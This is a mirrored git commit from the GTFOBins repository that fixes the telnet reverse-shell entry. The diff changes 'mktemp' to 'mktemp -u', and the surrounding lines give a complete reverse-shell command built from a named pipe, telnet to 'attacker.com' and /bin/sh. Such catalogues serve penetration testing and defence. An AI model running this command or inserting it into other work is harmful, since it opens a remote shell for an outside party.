mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
telnet.md(hotfix): Fixed a bug in telnet reverse shell
This commit is contained in:
parent
690bf325ae
commit
08db6ac84e
@ -13,7 +13,7 @@ functions:
|
|||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
TF=$(mktemp)
|
TF=$(mktemp -u)
|
||||||
rm $TF
|
rm $TF
|
||||||
mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/sh 1>$TF
|
mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/sh 1>$TF
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
|
Loading…
Reference in New Issue
Block a user